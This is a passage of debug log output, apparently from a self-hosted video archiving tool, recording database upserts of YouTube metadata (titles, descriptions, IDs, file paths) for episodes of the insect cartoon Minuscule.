17:30:00Z], 5] 22:15:47.684 [debug] QUERY OK source="media_items" db=2.0ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA chubby caterpillar makes this recurring nightmare: each time she becomes a butterfly and leaves her cocoon, the worst catastrophes occur. Terrified, she decides to never again leave her cocoon.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A butterfly nightmare / Cauchemar du papillon (Season 2)", "597e2102-fc94-474f-9d78-43ee0e124a97", "I8ln-GKhbKI", 265, false, 5, "https://www.youtube.com/watch?v=I8ln-GKhbKI", 102, "/downloads/Miniscule Season 2/2020-03-26 Minuscule - A butterfly nightmare ⧸ Cauchemar du papillon (Season 2)/Minuscule - A butterfly nightmare ⧸ Cauchemar du papillon (Season 2) [I8ln-GKhbKI].mkv", false, false, false, [], 1, ~U[2020-03-26 17:30:00Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA chubby caterpillar makes this recurring nightmare: each time she becomes a butterfly and leaves her cocoon, the worst catastrophes occur. Terrified, she decides to never again leave her cocoon.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A butterfly nightmare / Cauchemar du papillon (Season 2)", "I8ln-GKhbKI", 265, false, 5, "https://www.youtube.com/watch?v=I8ln-GKhbKI", "/downloads/Miniscule Season 2/2020-03-26 Minuscule - A butterfly nightmare ⧸ Cauchemar du papillon (Season 2)/Minuscule - A butterfly nightmare ⧸ Cauchemar du papillon (Season 2) [I8ln-GKhbKI].mkv", false, ~U[2020-03-26 17:30:00Z]] 22:15:47.685 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.686 [debug] QUERY OK source="media_items" db=0.8ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-19 15:30:03Z], 5] 22:15:47.689 [debug] QUERY OK source="media_items" db=1.9ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA mosquito swatted by a man in bed has the last laugh.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Flyswatter / Tapette (Season 2)", "315f45ed-61be-479c-88cb-e4ae967ff7d3", "x7rIT6Thn0k", 119, false, 5, "https://www.youtube.com/watch?v=x7rIT6Thn0k", 103, "/downloads/Miniscule Season 2/2020-03-19 Minuscule - Flyswatter ⧸ Tapette (Season 2)/Minuscule - Flyswatter ⧸ Tapette (Season 2) [x7rIT6Thn0k].mp4", false, false, false, [], 1, ~U[2020-03-19 15:30:03Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA mosquito swatted by a man in bed has the last laugh.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Flyswatter / Tapette (Season 2)", "x7rIT6Thn0k", 119, false, 5, "https://www.youtube.com/watch?v=x7rIT6Thn0k", "/downloads/Miniscule Season 2/2020-03-19 Minuscule - Flyswatter ⧸ Tapette (Season 2)/Minuscule - Flyswatter ⧸ Tapette (Season 2) [x7rIT6Thn0k].mp4", false, ~U[2020-03-19 15:30:03Z]] 22:15:47.690 [debug] QUERY OK source="sources" db=0.4ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.691 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-12 15:30:01Z], 5] 22:15:47.694 [debug] QUERY OK source="media_items" db=1.8ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Telecanetic (Season 2)", "787876df-827a-47d1-ac85-bcfd9d235072", "aDfIX_Lk96c", 119, false, 5, "https://www.youtube.com/watch?v=aDfIX_Lk96c", 104, "/downloads/Miniscule Season 2/2020-03-12 Minuscule - Telecanetic (Season 2)/Minuscule - Telecanetic (Season 2) [aDfIX_Lk96c].mp4", false, false, false, [], 1, ~U[2020-03-12 15:30:01Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Telecanetic (Season 2)", "aDfIX_Lk96c", 119, false, 5, "https://www.youtube.com/watch?v=aDfIX_Lk96c", "/downloads/Miniscule Season 2/2020-03-12 Minuscule - Telecanetic (Season 2)/Minuscule - Telecanetic (Season 2) [aDfIX_Lk96c].mp4", false, ~U[2020-03-12 15:30:01Z]] 22:15:47.695 [debug] QUERY OK source="sources" db=0.4ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.696 [debug] QUERY OK source="media_items" db=0.8ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-03-05 15:30:00Z], 5] 22:15:47.699 [debug] QUERY OK source="media_items" db=2.0ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA butterfly flutters happily above the fields, but with an innocent flap of its wings, it is going to provoke an incredible chain reaction.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The butterfly effect / L'effet papillon (Season 2)", "bf02da67-52f1-4642-a808-148500df3c69", "EgRwTI6Q7qw", 271, false, 5, "https://www.youtube.com/watch?v=EgRwTI6Q7qw", 105, "/downloads/Miniscule Season 2/2020-03-05 Minuscule - The butterfly effect ⧸ L'effet papillon (Season 2)/Minuscule - The butterfly effect ⧸ L'effet papillon (Season 2) [EgRwTI6Q7qw].mp4", false, false, false, [], 1, ~U[2020-03-05 15:30:00Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA butterfly flutters happily above the fields, but with an innocent flap of its wings, it is going to provoke an incredible chain reaction.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The butterfly effect / L'effet papillon (Season 2)", "EgRwTI6Q7qw", 271, false, 5, "https://www.youtube.com/watch?v=EgRwTI6Q7qw", "/downloads/Miniscule Season 2/2020-03-05 Minuscule - The butterfly effect ⧸ L'effet papillon (Season 2)/Minuscule - The butterfly effect ⧸ L'effet papillon (Season 2) [EgRwTI6Q7qw].mp4", false, ~U[2020-03-05 15:30:00Z]] 22:15:47.700 [debug] QUERY OK source="sources" db=0.3ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.701 [debug] QUERY OK source="media_items" db=0.8ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-27 15:30:02Z], 5] 22:15:47.704 [debug] QUERY OK source="media_items" db=2.0ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA spider decides to add his own special touch to an Artist's work.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The artist / L'artiste (Season 2)", "c6cd82fd-b035-4984-bfda-025ea02948b4", "zNrfH2YFABg", 135, false, 5, "https://www.youtube.com/watch?v=zNrfH2YFABg", 106, "/downloads/Miniscule Season 2/2020-02-27 Minuscule - The artist ⧸ L'artiste (Season 2)/Minuscule - The artist ⧸ L'artiste (Season 2) [zNrfH2YFABg].mp4", false, false, false, [], 1, ~U[2020-02-27 15:30:02Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA spider decides to add his own special touch to an Artist's work.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The artist / L'artiste (Season 2)", "zNrfH2YFABg", 135, false, 5, "https://www.youtube.com/watch?v=zNrfH2YFABg", "/downloads/Miniscule Season 2/2020-02-27 Minuscule - The artist ⧸ L'artiste (Season 2)/Minuscule - The artist ⧸ L'artiste (Season 2) [zNrfH2YFABg].mp4", false, ~U[2020-02-27 15:30:02Z]] 22:15:47.705 [debug] QUERY OK source="sources" db=0.4ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.707 [debug] QUERY OK source="media_items" db=0.8ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-20 15:30:04Z], 5] 22:15:47.710 [debug] QUERY OK source="media_items" db=2.2ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe mean red ants manage to steal every last bit of food at a barbecue. Will a motley crew of other insects manage to get the food back?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Sausage predator / Saucisse predator (Season 2)", "60a609e7-d423-4356-8abb-3e8429685327", "dVSOJResov4", 294, false, 5, "https://www.youtube.com/watch?v=dVSOJResov4", 107, "/downloads/Miniscule Season 2/2020-02-20 Minuscule - Sausage predator ⧸ Saucisse predator (Season 2)/Minuscule - Sausage predator ⧸ Saucisse predator (Season 2) [dVSOJResov4].mp4", false, false, false, [], 1, ~U[2020-02-20 15:30:04Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe mean red ants manage to steal every last bit of food at a barbecue. Will a motley crew of other insects manage to get the food back?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Sausage predator / Saucisse predator (Season 2)", "dVSOJResov4", 294, false, 5, "https://www.youtube.com/watch?v=dVSOJResov4", "/downloads/Miniscule Season 2/2020-02-20 Minuscule - Sausage predator ⧸ Saucisse predator (Season 2)/Minuscule - Sausage predator ⧸ Saucisse predator (Season 2) [dVSOJResov4].mp4", false, ~U[2020-02-20 15:30:04Z]] 22:15:47.711 [debug] QUERY OK source="sources" db=0.4ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.712 [debug] QUERY OK source="media_items" db=0.9ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-10-02 15:00:06Z], 5] 22:15:47.716 [debug] QUERY OK source="media_items" db=2.7ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n*** \n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Compilation #8", "b76f8ebc-1cdf-431b-a494-a7b7cd709627", "_WJlo33fRUg", 1690, false, 5, "https://www.youtube.com/watch?v=_WJlo33fRUg", 108, "/downloads/Miniscule Season 2/2017-10-02 Minuscule - Compilation #8/Minuscule - Compilation #8 [_WJlo33fRUg].mp4", false, false, false, [], 1, ~U[2017-10-02 15:00:06Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n*** \n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Compilation #8", "_WJlo33fRUg", 1690, 